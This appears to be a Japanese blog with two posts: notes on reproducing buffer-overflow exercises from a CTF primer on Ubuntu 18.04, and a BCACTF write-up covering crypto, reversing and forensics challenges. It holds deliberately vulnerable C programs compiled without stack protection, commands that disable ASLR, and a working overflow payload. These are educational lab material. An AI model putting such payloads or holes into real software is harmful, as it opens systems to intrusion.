ハリネズミ本における陥りやすい罠

CTFにおける入門本として紹介される、ハリネズミ本で詰まるという点を自分の分かる限りでまとめたいと思います。

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い

https://www.amazon.co.jp/dp/B017X3D3GE/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1

(アソシエイトリンクではありません。)

f:id:Yunolay:20190803193639j:plain

今回はメインで紹介されているpwnについて焦点を当てて行きます。

環境構築

本書サポートサイトでは本書で使用されているスクリプトがダウンロード可能です。

セキュリティコンテストチャレンジブック サポートサイト | マイナビブックス

Part2 Pwn:演習ファイル book4b_pwn.zip(27KB)では環境制作のスクリプトsetup.shが提供されています。

setup.sh

#!/bin/sh
sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
git clone https://github.com/zachriggle/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
export PATH=$HOME/bin:$PATH
mkdir $HOME/bin
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
chmod +x $HOME/bin/rp
wget https://github.com/slimm609/checksec.sh/archive/1.6.tar.gz
tar zxvf 1.6.tar.gz
cp checksec.sh-1.6/checksec $HOME/bin/checksec.sh

ですがこのsetup.shはpedaを古いリポジトリからcloneしているため、正常に動きません。

以下リポジトリより最新版をダウンロードしましょう。

GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB

setup.sh

#!/bin/sh
sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
export PATH=$HOME/bin:$PATH
mkdir $HOME/bin
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O $HOME/bin/rp
chmod +x $HOME/bin/rp
wget https://github.com/slimm609/checksec.sh/archive/1.6.tar.gz
tar zxvf 1.6.tar.gz
cp checksec.sh-1.6/checksec $HOME/bin/checksec.sh

まず本書の環境としては

  • OS Ubuntu 14.04 LTS x86 -64
  • ALSR (アドレスのランダマイズ化は無効で実行されています。)

が、あえて最新環境(18.04, 現在は19.04出ましたが)で再現出来なくて困ってるというとのことでUbuntu 18.04にてコンパイルを行って試したいと思います。

$ uname -a
Linux ubuntu 4.18.0-25-generic #26~18.04.1-Ubuntu SMP Thu Jun 27 07:28:31 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Step 4

実際に攻撃を行うステップ4, bof2から行います。

bof2

# ASLRの無効化
# これは実行時のアドレスをランダマイズ化するセキュリティ機構です。
# 再起動したりすると有効になる場合もあります。
# sudo sysctl -w kernel.randomize_va_space=2で有効化に戻せます。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

ldd --version                                
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

# 元のglicでコンパイルされたバージョンの削除
$ rm bof2

$ gcc -m32 -fno-stack-protector -o bof2 bof2.c

$ cat bof2.c 
#include <stdio.h>

int main(int argc, char *argv[]) {
    int zero = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("zero address\t= %x\n", (int)&zero);

    fgets(buffer, 64, stdin);
    printf("zero = 0x%x\n", zero);
    if (zero == 0x12345678) {
        printf("congrats!\n");
    }
    return 0;
}
stack
------------
buffer[10] # 10byte
zero = 0
------------

zeroを0x12345678もすればif (zero == 0x12345678)がTrueになるはずです。

データの書き込みにはLittle Endianを使用します。

python -c "print 'A'*10+'\x78\x56\x34\x12'" | ./bof2 
buffer address  = ffffd022
zero address    = ffffd02c
zero = 0x12345678
congrats!
[1]    5766 done                              python -c "print 'A'*10+'\x78\x56\x34\x12'" | 
       5767 segmentation fault (core dumped)  ./bof2

Exitしたりしてないためセグフォしましたが、目的が果たせたので良しとします。

bof3

$ cat bof3.c 
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ rm bof3

$ gcc -m32 -fno-stack-protector -o bof3 bof3.c
bof3.c: In function ‘main’:
bof3.c:8:24: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘char (*)[32][-Wformat=]
     printf("buffer: 0x%x\n", &buffer);
                       ~^     ~~~~~~~

(追記)配布バイナリにおける正常どうさは下記Twitterの動画をご覧ください。
f:id:Yunolay:20190809161145p:plain

ソースコードでは、local[32]に対して128byte fgetsしています。 その前にコンパイルでエラーが出ました。

これぱポインタの表示が%xではなく%pを使用するWarningです。

$ cat bof3.c 
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%p\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ gcc -m32 -fno-stack-protector -o bof3 bof3.c

無事コンパイル出来ましたが、%xを使用します。

$ cat bof3.c
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

$ gcc -m32 -w -fno-stack-protector -o bof3 bof3.c

$ gdb bof3

-w オプションはコンパイル時のWarningメッセージを抑制します。

しかしながら

ESP: 0x4141293d ('=)AA')
EIP: 0x56555614 (<main+119>:    ret)

'=)AA'の=どこから来たんだよって感じで自分では解決出来ませんでした。
プロの方のコメントを待っています。

気を取り直して16.04にて試してみます。

$ head /etc/os-release
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"

$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ここで記事を書くのに飽きました。 ごめんなさい。ツイッター等を参考ください。コメントをくださってる方もいます。

まとめ

入門本としての活用はサポートサイトをからダウンロードしたバイナリで検証を行うとよいと思います。

セキュリティコンテストチャレンジブック サポートサイト | マイナビブックス

本書は入門で雰囲気を掴むにはおすすめとてもおすすめできる素晴らしい本です。
しかしながら本書はx86に焦点を当てているため、近年で使用されるバイナリはx64なので注意が必要です。

プロの方の修正、待ってます

BCACTF I 忘備録

f:id:Yunolay:20190609155559p:plain

welcome

hello-world

Input your first ever flag! The flag is bcactf{hello!}
FLAG : bcactf{hello!}

net-cat

Some problems in this CTF will require you to use netcat to access server-side problems.

For this problem netcat in to our server by using

nc challenges.ctfd.io 30126

$ nc challenges.ctfd.io 30126
bcactf{5urf1n_7h3_n37c47_c2VydmVyc2lkZQ}

FLAG : bcactf{5urf1n_7h3_n37c47_c2VydmVyc2lkZQ}

wuphf

Social media is so fractured today. I mean, there's Discord, Twitter, Instagram... Don't you wish there was just one platform that could send things to every platform? Sadly that's not the case, so to find the flag you will have to collect flag-ments from all of our platforms.

FLAG1 : Discord

f:id:Yunolay:20190609160640p:plain

FLAG2 : Twitter

f:id:Yunolay:20190609160659p:plain

FLAG3 : Instagram

f:id:Yunolay:20190609160736p:plain

FLAG : bcactf{h17_u5_uP_d3VwaGYuY29t}

crypto

basic-numbers

We have a raw flag here, but what do we do with it?
01100010 00110001 01101110 01100001 01110010 01111001 01011111 01110011 00110000 01101100 01110110 00110011 01100100 01011111 01100111 00110000 00110000 01100100 01011111 01110111 00110000 01110010 01101011
The answer should be in the format bcactf{answer}.

binary to asciiする。

CyberChef

f:id:Yunolay:20190609162359p:plain

FLAG : bcactf{b1nary_s0lv3d_g00d_w0rk}

cracking-the-cipher

Hackers work in the most unlikely of places. We have recently discovered one working in a grocery store (weird), and he was able to print out receipts to pass on information to certain customers. We have obtained one of the receipts, but we cannot tell what it says.

Grocery Store Receipt
Item Unit Price Quant. Overall Price
Caesar Salad Dressing 5.99 4 23.96
Vinegar 6.99 1 6.99
Apples (Honey Crisp) 2.79 5 13.95
Roast Chicken 7.59 1 7.59
Tomatoes 1.59 4 6.36
Subtotal 58.85
Paper Bag Fee 0.10
Taxes (9.00%) 0.00
Total 58.95
vjg rcuuyqtf ku ngctpkpi_ecguct_ekrjgtu_ku_hwp!

Can you crack the code and tell us the information within? The answer should be in the format bcactf{answer}.

Vinegarかと思って時間使ったら普通にcaesarだった・・ 時間使いました。

Online calculator: Caesar cipher

ROT24    the password is learning_caesar_ciphers_is_fun!

FLAG : bcactf{learning_caesar_ciphers_is_fun!}

a-major-problem

A mysterious figure named Major Mnemonic has sent you the following set of words. Figure out what they mean!

"Pave Pop Poke Pop Dutch Dozen Denim Deism Loot Thatch Pal Atheism Rough Ditch Tonal"

ぶっちゃけ何を言ってるかわかんなかった。

Hint

The words translate to numbers, which then translate to the flag.

Demimalになおしてlengthで割ってASCIIにしてみたけど駄目だった。
Major Mnemonicでググった。

Major System mnemonic technique database, list and generator

暗号の方式は知らないけどwordをnumberに出来るらしい。
一個ずつやってたけど面倒なのでDecoderを探した。

Numzi - Remember Numbers

f:id:Yunolay:20190614034011p:plain

気をつけるのは16じゃなくて116なこと。 Major System databaseで知った。
後はASCIIに直す。

n = [98, 99, 97, 99, 116, 102, 123, 103, 51, 116, 95, 103, 48, 116, 125]


for c in n:
    print(chr(c), end='')

実行結果

bcactf{g3t_g0t}

FLAG : bcactf{g3t_g0t}

binary-exploitation

executable

It's in there somewhere. Good luck!

executable-mac
executable-ubuntu

$ file executable-ubuntu 
executable-ubuntu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2d69b145cafba5b1850ed1677373b4058b19a78e, not stripped

$ chmod +x executable-ubuntu

$ ./executable-ubuntu 
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Try again next time!

$ strings executable-ubuntu 
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
__stack_chk_fail
printf
rand
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-P
AWAVA
AUATL
[]A\A]A^A_
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is %d!
Congratulations, you're our lucky winner!
Try again next time!
--[----->+<]>----.+.--.++.-[--->+<]>--.+++[->+++<]>+.+[----->+<]>.>-[----->+<]>.+[--->++<]>.[++>---<]>-.-[->++<]>-.-[--->+<]>-.-.>-[----->+<]>+.---[->++<]>.++++++++++.[-->+<]>---.--[--->++<]>---.++[->+++<]>.[--->+<]>---.+++[->+++<]>.+++++++.-[--->+<]>--.-------.---------------.+[-->+<]>+.+.++.+[->++<]>.--.---.+++++++++++++.--[->+++++<]>.++++++++.+.-------.++.+.>--[-->+++<]>.
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c

(snip)

普通にBrainfuckの文字列ある

--[----->+<]>----.+.--.++.-[--->+<]>--.+++[->+++<]>+.+[----->+<]>.>-[----->+<]>.+[--->++<]>.[++>---<]>-.-[->++<]>-.-[--->+<]>-.-.>-[----->+<]>+.---[->++<]>.++++++++++.[-->+<]>---.--[--->++<]>---.++[->+++<]>.[--->+<]>---.+++[->+++<]>.+++++++.-[--->+<]>--.-------.---------------.+[-->+<]>+.+.++.+[->++<]>.--.---.+++++++++++++.--[->+++++<]>.++++++++.+.-------.++.+.>--[-->+++<]>.

El Brainfuck

f:id:Yunolay:20190613232506p:plain

FLAG : bcactf{3x3cut4bl3s_r_fun_124jher089245}

executable-2

It's in here somewhere. Good luck... again.

(Now you actually have to try.)

executable-ubuntu

$ file executable-ubuntu
executable-ubuntu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=3639d66db2a5e66741845e5138ef36b088612428, not stripped

$ ./executable-ubuntu 
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Try again next time!

$ ./executable-ubuntu 
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Try again next time!

$ ./executable-ubuntu a
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Try again next time!

If it's 1, you win!
Your number is 1804289383!

numberを1にすればいいらしいが

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400626 <+0>:   push   rbp
   0x0000000000400627 <+1>:   mov    rbp,rsp
   0x000000000040062a <+4>:   push   rbx
   0x000000000040062b <+5>:   sub    rsp,0x11f8
   0x0000000000400632 <+12>:  mov    rax,QWORD PTR fs:0x28
   0x000000000040063b <+21>:  mov    QWORD PTR [rbp-0x18],rax
   0x000000000040063f <+25>:  xor    eax,eax
   0x0000000000400641 <+27>:  lea    rax,[rbp-0x11f0]
   0x0000000000400648 <+34>:  mov    esi,0x4008e0
   0x000000000040064d <+39>:  mov    edx,0x17b
   0x0000000000400652 <+44>:  mov    rdi,rax
   0x0000000000400655 <+47>:  mov    rcx,rdx
   0x0000000000400658 <+50>:  rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
   0x000000000040065b <+53>:  mov    edi,0x400820
   0x0000000000400660 <+58>:  call   0x4004d0 <puts@plt>
   0x0000000000400665 <+63>:  mov    edi,0x400838
   0x000000000040066a <+68>:  call   0x4004d0 <puts@plt>
   0x000000000040066f <+73>:  mov    edi,0x400867
   0x0000000000400674 <+78>:  call   0x4004d0 <puts@plt>
   0x0000000000400679 <+83>:  call   0x400510 <rand@plt>
   0x000000000040067e <+88>:  mov    ebx,eax
   0x0000000000400680 <+90>:  mov    esi,ebx
   0x0000000000400682 <+92>:  mov    edi,0x40087b
   0x0000000000400687 <+97>:  mov    eax,0x0
   0x000000000040068c <+102>: call   0x4004f0 <printf@plt>
   0x0000000000400691 <+107>: cmp    ebx,0x1
   0x0000000000400694 <+110>: jne    0x400744 <main+286>
   0x000000000040069a <+116>: mov    edi,0x400890
   0x000000000040069f <+121>: call   0x4004d0 <puts@plt>
   0x00000000004006a4 <+126>: call   0x400510 <rand@plt>
   0x00000000004006a9 <+131>: mov    BYTE PTR [rbp-0x610],al
   0x00000000004006af <+137>: mov    DWORD PTR [rbp-0x11f4],0x0
   0x00000000004006b9 <+147>: jmp    0x400712 <main+236>
   0x00000000004006bb <+149>: mov    eax,DWORD PTR [rbp-0x11f4]
   0x00000000004006c1 <+155>: add    eax,eax
   0x00000000004006c3 <+157>: lea    esi,[rax+0x1]
   0x00000000004006c6 <+160>: mov    eax,DWORD PTR [rbp-0x11f4]
   0x00000000004006cc <+166>: cdqe   
   0x00000000004006ce <+168>: mov    ecx,DWORD PTR [rbp+rax*4-0x11f0]
   0x00000000004006d5 <+175>: mov    edx,0x51eb851f
   0x00000000004006da <+180>: mov    eax,ecx
   0x00000000004006dc <+182>: imul   edx
   0x00000000004006de <+184>: sar    edx,0x5
   0x00000000004006e1 <+187>: mov    eax,ecx
   0x00000000004006e3 <+189>: sar    eax,0x1f
   0x00000000004006e6 <+192>: sub    edx,eax
   0x00000000004006e8 <+194>: mov    eax,edx
   0x00000000004006ea <+196>: mov    edx,eax
   0x00000000004006ec <+198>: movsxd rax,esi
   0x00000000004006ef <+201>: mov    BYTE PTR [rbp+rax*1-0x610],dl
   0x00000000004006f6 <+208>: mov    eax,DWORD PTR [rbp-0x11f4]
   0x00000000004006fc <+214>: add    eax,0x1
   0x00000000004006ff <+217>: add    eax,eax
   0x0000000000400701 <+219>: cdqe   
   0x0000000000400703 <+221>: mov    BYTE PTR [rbp+rax*1-0x610],0xa
   0x000000000040070b <+229>: add    DWORD PTR [rbp-0x11f4],0x1
   0x0000000000400712 <+236>: cmp    DWORD PTR [rbp-0x11f4],0x2f5
   0x000000000040071c <+246>: jle    0x4006bb <main+149>
   0x000000000040071e <+248>: mov    BYTE PTR [rbp-0x23],0x0
   0x0000000000400722 <+252>: call   0x400510 <rand@plt>
   0x0000000000400727 <+257>: mov    BYTE PTR [rbp-0x22],al
   0x000000000040072a <+260>: lea    rax,[rbp-0x610]
   0x0000000000400731 <+267>: add    rax,0x1
   0x0000000000400735 <+271>: mov    rdi,rax
   0x0000000000400738 <+274>: mov    eax,0x0
   0x000000000040073d <+279>: call   0x4004f0 <printf@plt>
   0x0000000000400742 <+284>: jmp    0x40074e <main+296>
   0x0000000000400744 <+286>: mov    edi,0x4008ba
   0x0000000000400749 <+291>: call   0x4004d0 <puts@plt>
   0x000000000040074e <+296>: mov    eax,0x0
   0x0000000000400753 <+301>: mov    rbx,QWORD PTR [rbp-0x18]
   0x0000000000400757 <+305>: xor    rbx,QWORD PTR fs:0x28
   0x0000000000400760 <+314>: je     0x400767 <main+321>
   0x0000000000400762 <+316>: call   0x4004e0 <__stack_chk_fail@plt>
   0x0000000000400767 <+321>: add    rsp,0x11f8
   0x000000000040076e <+328>: pop    rbx
   0x000000000040076f <+329>: pop    rbp
   0x0000000000400770 <+330>: ret    
End of assembler dump.

rand()の戻り値をcmp ebx,0x1してる。

   0x0000000000400679 <+83>:   call   0x400510 <rand@plt>

(snip)

   0x000000000040068c <+102>: call   0x4004f0 <printf@plt>
   0x0000000000400691 <+107>: cmp    ebx,0x1
   0x0000000000400694 <+110>: jne    0x400744 <main+286>

IDAで見る。 f:id:Yunolay:20190614195850p:plain

jnzを突破すれば勝ちっぽい。

gdb-peda$ b *main+110
Breakpoint 2 at 0x400694
gdb-peda$ r

f:id:Yunolay:20190614200033p:plain

gdb-peda$ set $rip=0x40069a
gdb-peda$ n

f:id:Yunolay:20190614200132p:plain

Good.
puts("Congratulations, you're our lucky winner!")

gdb-peda$ c
Continuing.
Congratulations, you're our lucky winner!
+
[
-
-
-
-
-
-
-
-
-

(snip)

とりあえず改行削除

$ cat bf | tr -d '\n' > result

$ cat result 
+[--------->++<]>.+.--.++.---------.++++++++++++.+++++.+[-->+<]>+++.--[----->+<]>-.-------------.+++++++++.++++++.+[->+++<]>.++++++.[--->+<]>+.-[->+++<]>.--.-[--->+<]>-.-.+[->+++<]>++.+.++++++++++.-------.[--->+<]>----.++[->+++<]>.+++++++.-[--->+<]>--.-------.[------>+<]>++.+[-->+++<]>-.[--->+++++<]>.[----->+++<]>.[--->+<]>-.------------.+.+++++.---.------------.[--->+<]>--.----.+[----->++<]>-.[--->+<]>--.+++[->+++<]>++.+++++++.-----.++++.--.+++++++++.--------.-[--->+<]>-.[->+++<]>.[--->+<]>--.---.+++++++.[->+++<]>--.++++++++.++++.++.[->+++<]>.+++++++++++++.+++[->+++<]>++.+++++++++.+[--->+<]>+.[->+++<]>.-----------.-[--->+<]>++.--[->+++<]>.[--->+<]>.[->+++<]>-.++++++++.-.+++++++++.--------.-[--->+<]>-.--.++[->+++<]>.[--->+<]>++.-------.+++++++++++.

またbrain fuck

f:id:Yunolay:20190614200510p:plain

rsqsjv{Arent_executables_fun?_I_think_so_sdkfjhqiweuryiquwerajzncxbvaihqiwueyr}

rsqsjv is caesar cipher

ROT10    bcactf{Kboxd_ohomedklvoc_pex?_S_drsxu_cy_cnuptrasgoebisaegobktjxmhlfksrasgeoib}

FLAG : bcactf{Kboxd_ohomedklvoc_pex?_S_drsxu_cy_cnuptrasgoebisaegobktjxmhlfksrasgeoib}

追記

cmp edx, 1をpatchしてjnzを突破してみる。

f:id:Yunolay:20190616190406p:plain

余った部分はnopで埋める。

xor edx, edx
nop

xor edx, edxでZFが0になるのでloc_400744にjmpしなくなる。

f:id:Yunolay:20190616190538p:plain

forensics

split-the-red-sea

Moses used a staff to split the Red Sea. What will you use?
f:id:Yunolay:20190609165107p:plain

stegsolveとかで赤1ビット抽出する

f:id:Yunolay:20190609165214p:plain

FLAG : bcactf{7w0_r3d5_sdf3wqa}

bca-craft

Yo I made a sic Minecraft adventure MAP! Try it out it's kewler than ur Fortnite gamez!

(This map runs in Minecraft 1.13.2 and above)

BCACraft.zip

zipを解凍するとこんな感じ

f:id:Yunolay:20190609173030p:plain

level.datとか見たことあるなって思ったらMinecraftのマップだった。(問題文にも書いてある) 適当に見てたらフラグがあった。

datapacks\bcacraft\data\bca\functions\flag.mcfunction

tellraw @a ["Hello ", {"selector": "@p", "color": "yellow"}, "! The flag is: ", "b", "c", "a", "c", "t", "f", "{", {"text": "m1n3cr4f7_b347s_f0rtn1t3", "color": "blue", "bold": true, "obfuscated": true, "hoverEvent": {"action": "show_text", "value": {"text": "Good luck! ", "extra": [{"text": "Hint: Where does Minecraft store its worlds?", "color": "dark_gray", "italic": true}]}}}, "}"]

FLAG : bcactf{m1n3cr4f7_b347s_f0rtn1t3}

せっかくなのでAdventure worldに入ってみた。

f:id:Yunolay:20190612204005p:plain

f:id:Yunolay:20190612204011p:plain

コマンドブロックが合って中から見れないかなって思ったけど無理だった。

f:id:Yunolay:20190612204028p:plain

コマンドブロックからはflag.mcfunctionを呼んでいる。
Java版ver.1.12から導入された機能らしい。

f:id:Yunolay:20190612204107p:plain

file-head

It looks like the PNG file that holds our flag has been corrupted. My computer isn't able to recognize the file type, maybe it has something to do with how the file type is recognized...

flag.png

flag.pngが与えられるが開けない。 問題名からheaderになにかあるかと思ってバイナリエディタで見る。

f:id:Yunolay:20190609181259p:plain

pngのfile signatureの89 50 4E 47 0D 0A 1A 0Aが41 41 41 41 41 41 41 41に書き換えられている。 List of file signatures - Wikipedia

f:id:Yunolay:20190609181501p:plain

直したら開けた。

f:id:Yunolay:20190609181515p:plain

FLAG : bcactf{f1l3_h3ad3rs_r_c001}

open-docs

Yay! I really enjoy using these free and open file standards. I love them so much, that I made a file expressing how much I like using them. Let's enjoy open standards together!

open.docx

open.docxが与えられる。 docxはzipなので拡張子をzipに変更して解凍する。

f:id:Yunolay:20190609181938p:plain

secrets.xmlとかあからさまなやつがある。

<?xml version="1.0" encoding="utf-8"?>
PHNlY3JldCBmbGFnPSJiY2FjdGZ7ME94TWxfMXNfNG00ejFOZ30iIC8+

base64デコードしてdone.

<secret flag="bcactf{0OxMl_1s_4m4z1Ng}" />

study-of-roofs

My friend has always gotten in to weird things, and his recent obsession is with roofs. He sent me this picture recently, and said he hid something special in it. Do you think you could help me find it?

f:id:Yunolay:20190609203946j:plain

jpgが与えられる。
なんか埋め込まれてそう。

f:id:Yunolay:20190609204258p:plain

foremost dem_shingles.jpg 
Processing: dem_shingles.jpg
|*|

$ ls
dem_shingles.jpg  output

$ cd output 
$ ls
audit.txt  jpg
$ cd jpg 
$ ls
00000000.jpg  00003052.jpg

f:id:Yunolay:20190609204524j:plain

FLAG : bcactf{r4i53_7h3_r00f_liz4rd}

wavey

My friend sent me his new mixtape, but honestly I don't think it's that good. Can you take a look at it and figure out what's going on?

straightfire.wav

wavが与えられる。
wavだし問題名的にスペクトラムを見る問題と判断した。
Audacityでみた。
Hzいじらないと見れないかと思ったけどそのまま見れたので楽だった。

f:id:Yunolay:20190609205745p:plain

FLAG : bcactf{f331in_7h3_vib3z}

the-flag-is

I have a flag! The flag is... wait... did my PDF editor not save the flag? OH NO! I remember typing it in, can you help me find it?

flag.pdf

与えられたpdfをとりあえず開いてみる。

f:id:Yunolay:20190609225905p:plain

読めないのでバイナリを見てみる。
EOFが2つあるからなんかあるのかな?(よく知らない)

f:id:Yunolay:20190609225924p:plain

foremost flag.pdf 
Processing: flag.pdf
|*|

f:id:Yunolay:20190609232002p:plain

FLAG : bcactf{d0n7_4g3t_4b0u7_1nCr3Men74l_uPd473s}

corrupt-psd

I wanted to use Photoshop to embiggen my head, but er... something happened. It looks like Photoshop isn't the signature image editing program it used to be.

Can you help fix this?

flag.psd

psdファイルが与えられる。

List of file signatures - Wikipedia

List_of_file_signaturesを見るとpsdのfile signatureは38 42 50 53となっているが、 与えられたpsdは4F 4F 50 53になっている。

f:id:Yunolay:20190610224829p:plain

f:id:Yunolay:20190610225012p:plain

4F 4F 50 53を38 42 50 53に書き換える。

f:id:Yunolay:20190610225033p:plain

後は適当にSketchBookとかで開いてFLAGが得られた。

f:id:Yunolay:20190610225102p:plain

FLAG : bcactf{corrupt3d_ph0705sh0p?_n0_pr0b5_1af4efb890}

of-course-rachel

Ugh, I had a really important file with the flag, but sadly it broke. My friend Rachel said that snapshots are good for backing up, and luckily I listened so here is my screenshot. Do you think you could help me put it back together?

snapshot.zip

prat1.png
f:id:Yunolay:20190612005613p:plain

part2.png
f:id:Yunolay:20190612022427p:plain

part3.png
f:id:Yunolay:20190612022516p:plain

part4.png
f:id:Yunolay:20190612022500p:plain

part5.png
f:id:Yunolay:20190612005652p:plain

hexdump?したようなやつやつが5枚pngで与えられる。
全部バイナリエディタで一つずつ入力する。
のは大変なのでOCRを使う。
問題名的にもOf-Course-Rachelかな?小文字なのがやらしい。

tesseractを使用する。

github.com

インストール方法とかについては下記ドキュメント

Home · tesseract-ocr/tesseract Wiki · GitHub

基本的にubuntuだから

sudo apt install tesseract-ocr
sudo apt install libtesseract-dev

パッケージが見つからなかったらソースリスト追加してくださいって。

sudo vi /etc/apt/sources.list

Copy the first line "deb http://archive.ubuntu.com/ubuntu bionic main" and paste it as shown below on the next line.
If you are using a different release of ubuntu, then replace bionic with the respective release name.

deb http://archive.ubuntu.com/ubuntu bionic universe

とりあえず一つずつ見ていこうかと思って分けたけど連結しても良かった。

$ tesseract part1.png out1.txt -l eng

$ tesseract part2.png out2.txt -l eng

$ tesseract part3.png out3.txt -l eng

$ tesseract part4.png out4.txt -l eng

$ tesseract part5.png out5.txt -l eng
$ cat out1.txt.txt 
696D706F 72742062 696E6173 6369690A 696D706F 72742072 616E646F 6DOAOAOA 636C6173 73205665
63746F72 286F626A 65637429 3AOA2020 20202222 220A2020 20202020 20205468 69732063 6C617373
20726570 72657365 6E747320 61207665 63746F72 206F6620 61726269 74726179 2073697A 652EOA20
20202020 20202059 6F75206E 65656420 746F2067 69766520 74686520 76656374 6F722063 6F6D706F
6E656E74 732E200A 0A202020 20202020 204F7665 72766965 77206162 6F757420 74686520 6D657468
6F64733A 0AOA2020 20202020 2020636F 6E737472 7563746F 7228636F 6D706F6E 656E7473

文字列化できてる。 全部つなげたものをASCII Converterに投げる。

Hex to ASCII Text converter

完璧とは行かないけどまあ読める範囲のものが返ってきた。

import binascii
import randomclass Vector(object):¢  """
        This class represents a vector of arbitray size.¢       You need to give the vector components. 

        Overview about the methods:
¢      constructor(components : list) : init the vector
        set(components : list) : changes the vector components.¢       __str__() : toString method
        component(i : int): gets the i-th component (start by 0)
        __len__() : gets the size of the vector (number of components)
        euclidLength() : returns the eulidean length of the vector.¢       operator + : vector addition        operator - : vector subtraction        operator * : scalar multiplication and dot product
        copy() : copies this vector and returns it.¢       changeComponent(pos,value) : changes the specified component.
        TODO: compare-operator
    """

    def __init__(self, components=[]):        """
            input: components or nothing
            simple constructor for init the vector
        """
        self.__components = list(components)
¢  def set(self, components):
        """
            input: new components
            changes the components of the vector.
            replace the components with newer one.        """
        if len(components) > 0:            self.__components = list(components)
        elseraise Exception("please give any vector")
¢  def __str__(self):
        """
            returns a string representation of the vector
        """
        return "(" + ",".join(map(str, self.__components)) + ")"

    def component(self, i):
        """
            input: index (start at 0)
            output: the i-th component of the vector.
        """
        if type(i) is int and -len(self.__components) <= i < len(self.__components):¢          return self.__components[i]¢      else:            raise Exception("index out of range")
¢   def __len__(self):¢      """
            returns the size of the vector
        """
        return len(self.__components)
    def eulidLength(self):¢       """
            returns the eulidean length of the vector
        """
        summe = 0
        for c in self.__components:¢           summe += c**2
        return math.sqrt(summe)
¢  def __add__(self, other):        """
            input: other vector
            assumes: other vector has the same size
            returns a new vector that represents the sum.¢      """
        size = len(self)
        if size == len(other):¢          result = [self.__components[i] +¢                     other.component(i) for i in range(size)]¢          return Vector(result)
        elseraise Exception("must have the same size")
¢  def __sub__(self, other):        """
            input: other vector
            assumes: other vector has the same size
            returns a new vector that represents the differenz.        """
        size = len(self)
        if size == len(other):            result = [self.__components[i] -
                      other.component(i) for i in range(size)]            return result
        else:  # error case
            raise Exception("must have the same size")
¢  def __mul__(self, other):        """
            mul implements the scalar multiplication 
            and the dot-product
        """
        if isinstance(other, float) or isinstance(other, int):
            ans = [c*other for c in self.__components]            return ans
        elif (isinstance(other, Vector) and (len(self) == len(other))):¢           size = len(self)
            summe = 0
            for i in range(size):                summe += self.__components[i] * other.component(i)
            return summe
        else:  # error case
            raise Exception("invalide operand!")
¢  def copy(self):¢      """
            copies this vector and returns it.
        """
        return Vector(self.__components)
¢   def changeComponent(self, pos, value):¢      """
            input: an index (pos) and a value
            changes the specified component (pos) with the
            'value'
        """
        # precondition¢      assert (-len(self.__components) <= pos < len(self.__components))
        self.__components[pos] = value
flag = 820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698

¦Ff zeroVector(dimension):
   """
       returns a zero-vector of size 'dimension'
    """
    # precondition¢  assert(isinstance(dimension, int))
    return Vector([0]*dimension)
def main():    print(int_to_text(flag))
